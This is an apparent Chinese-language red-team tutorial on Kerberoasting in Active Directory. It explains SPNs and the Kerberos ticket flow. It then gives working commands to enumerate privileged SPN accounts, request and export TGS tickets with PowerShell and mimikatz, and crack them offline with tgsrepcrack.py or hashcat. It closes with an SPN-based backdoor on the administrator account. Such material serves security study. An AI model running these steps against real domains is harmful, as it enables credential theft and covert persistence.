0%

Kerberoasting

0x01 简介

Kerberoasting的概念

Kerberoasting的原理

Kerberoasting的实现

Kerberoasting后门利用

0x02 基本概念

一、SPN是什么:

服务主题名称( SPN: Service Principal Names) 是服务实例, 可以将其理解为一个服务(比如HTTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。

如果在整个域或林中的计算机上安装多个服务实例,则每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例主机的名称,因此服务实例可以为其主机名称或别名注册SPN。如果想使用Kerberos协议进行认证服务,那必须正确配置SPN

SPN分类:

1.注册在域内机器账户(computer)下

当一个服务的权限为Local System 或 Network Service时,SPN会注册于域内机器账户下(Computers)

注册在域内用户账户(User)下

当一个服务的权限为一个域用户,则此时SPN注册在域用户账户下(Users)

二、SPN标准格式

在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中和为必须元素:

1
2
3
4
5
6
<service class>/<host>:<port>/<service name> accountname
<service class> #标识服务类的字符串
<host> #服务所在主机名
<port> #服务端口
<service name> #服务名称
accountname #注册账户名

Serviceclass可以认为是服务名,常见的有www,ldap,http,dns等

host有两种形式,FQDN与NetBIOS名,例如Service1.redteam.com和service1

如果服务运行于默认端口上,可省略端口号

三、查询SPN

利用setspn等手段对域控制器发起LDAP查询,是正常的Kerberos票据行为的一部分,因此很难被设备或筛选日志查询得到。

1.使用SetSPN

查看当前域内所有的SPN:

1
setspn -q */*

查看目标域内的SPN

1
setspn -t redteam -q */*

image-20210927155830466

可以发现

机器账户:

  • CN=AD-2016,OU=Domain Controllers,DC=redteam,DC=com
  • CN=AD2-2016,OU=Domain Controllers,DC=redteam,DC=com
  • CN=WEB-2012,CN=Computers,DC=redteam,DC=com
  • CN=WEB-2003,CN=Computers,DC=redteam,DC=com

域用户账户:

  • CN=krbtgt,CN=Users,DC=redteam,DC=com

注册于域用户下的SPN仅有一个:

  • kadmin/changepw

0x03 Kerberoasting的原理

一、 Kerberos认证过程

  • ​ Kerberoasting 当域内某个用户去请求同域内的某个服务实例时,请求会首先被 送达至KDSAS 中进行身份认证。
  • ​ 通过后 AS 会返回一个由用户密码hash加密而成的TGT票据给用户,然后用户再拿着TGT票据去请求TGSTGS验证成功后会返回一个用对应服务账号的密码hash加密过**(RC4_HMAC_MD5)的票据TGS**
  • ​ 用户拿着TGS通过目标服务实例验证后可以去访问对应的服务资源,Kerberoasting攻击利用TGS票据加密算法已知这一条件,尝试穷举口令,对TGS进行对比,若TGS相同,则口令正确。得到对应服务实例的明文密码。

二、Windows系统通过SPN查询获得服务和服务实例账户的对应关系

设用户a需要访问Mysql服务,进行到**Ticket Granting Server(TGS)**返还TGS票据时:

1.Domain Controller查询Mysql服务的SPN

如果该SPN注册在机器账户(Computers),将会查询所有机器账户(Computers)的servicePrincipalName属性,查找对应的账户

如果该SPN注册在域用户账户(Users),将会查询所有域用户账户(Users)的servicePrincipalName属性,查找对应的账户

**2.**找到对应的账户后,使用该账户的NTLM Hash,生成TGS票据

3、域内的主机都能查询SPN

4、域内的任何用户都可以向域内的任何服务请求TGS

综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解。

对于破解的明文口令,只有域用户账户(Users)的口令存在价值,不必考虑机器账户的口令(无法用于远程连接)

利用思路如下:

  1. 查询SPN,找到有价值的SPN,需要满足如下条件
    • SPN注册在域用户账户下(Users)
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 利用字典破解TGS拿到明文密码

0x04 Kerberoasting的实现方法一

1、拿到有价值的SPN

  • 注册于域用户账户(Users)下
  • 域用户账户的权限很高

1.使用Powershell模块Active Directory

Actice Directory模块 需要提前安装,域控自带

1
2
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:

dll文件可在github上自行下载

1
2
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
import-module .\Microsoft.ActiveDirectory.Management.dll

2.使用Powerview

1
2
Import-Module Powerview.ps1
Get-NetUser -spn -admincount | select name,whencreated,pwdlastset,lastlogon

image-20210927164313999

3.利用Kerberoast

1
Import-Module GetUserSPNs.ps1

列出所有域用户SPN

image-20210927165832743

3、请求TGS票据

1、请求指定TGS

1
2
3
$SPNName='kadmin/changepw'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

2、请求所有TGS

1
2
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

image-20210927170102406

klist 查看内存中的票据,即可找到TGS

3、导出

使用mimikatz

1
kerberos::list /export

利用hashcat或kerberoast进行破解

1
2
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py 项目地址
python2 tgsrepcrack.py password.txt 1-40a10000-administrator@kadmin~changepw-REDTEAM.COM.kirbi

0x06 Kerberoasting后门利用

当我们取得SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令

例如为域用户administrator添加SPN NC/dc.de1ay.com

image-20210928100158925

此时为域内用户administrator添加了一个SPN,在域内任何一台主机上都可以获得本SPN,并能使用Kerberoast获得TGS

在后续需要使用时请求服务,获取TGS使用Hashcat破解即可

Ps:写这玩意犯困,困了我好多次呢= =